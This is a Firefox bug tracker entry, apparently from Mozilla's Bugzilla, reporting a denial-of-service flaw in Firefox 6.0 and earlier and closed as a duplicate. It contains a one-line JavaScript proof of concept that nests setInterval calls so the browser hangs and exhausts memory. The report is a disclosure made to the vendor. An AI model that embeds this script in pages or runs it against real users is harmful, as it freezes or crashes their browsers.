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Mozilla Firefox <= 6.0 "Fork-Bomb-Like" Denial Of Service

RESOLVED DUPLICATE of bug 335256

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Firefox
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RESOLVED DUPLICATE of bug 335256
6 years ago
6 years ago

People

(Reporter: Marcin Probola, Unassigned)

Tracking

6 Branch
x86
Windows Vista
Points:
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Description

6 years ago
User Agent: Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.9.168 Version/11.50

Steps to reproduce:

Run below script:

<script type="text/javascript">
 function x(){for(var r=0;r<100000;r++){var e=setInterval("x()",1);}}var d=setInterval("x()",1); 
 </script>


Actual results:

Executing below script cause Mozilla Firefox process hangs and starts consuming a lot of memory, which can lead to crash.


Expected results:

I guess script should be killed.

Updated

6 years ago
Status: UNCONFIRMED → RESOLVED
Last Resolved: 6 years ago
Resolution: --- → DUPLICATE
Duplicate of bug: 335256
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